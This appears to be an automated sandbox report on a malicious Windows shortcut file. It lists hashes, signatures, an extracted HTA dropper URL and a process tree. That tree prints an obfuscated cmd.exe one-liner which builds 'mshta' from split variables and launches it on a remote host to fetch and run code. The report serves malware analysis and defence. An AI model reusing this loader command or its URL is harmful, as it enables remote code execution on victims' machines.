Analysis
- max time kernel
148s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:04
Static task
static1
Behavioral task
behavioral1
Sample
DOC-3JWFKU.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-3JWFKU.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-3JWFKU.lnk
- Size 1KB
- Sample260803-qay7eahh86
- SHA256 d9c59fc2afd8399d9105a244b03daeb373443aa86375985fe944af9f419f5151
- MD5 1f2792a2775eb7f1e8d55a83ae8e7248
- SHA1 b0468882782af79932c7fbc59fddd6cf3fc4dd0a
- SHA512 457da476b71cc54f474fba108a54afc1e5fadaedd483048b5b8469bf4a637c13f95190f53b9c926a57505d43561e8be98af44230fce2473caf517d166a8d7ad2
- TLSH T1103197003FF90614F3F38E3384BB672088BBB9668E24D62D0141460C2462B14E17BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1288 cmd.exe 3792 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1288 wrote to memory of 3792 1288 cmd.exe 90 PID 3792 wrote to memory of 4692 3792 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3JWFKU.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set qFd=msh&&set NGVWQ=ta&&start "" !qFd!!NGVWQ! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3792 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:4692
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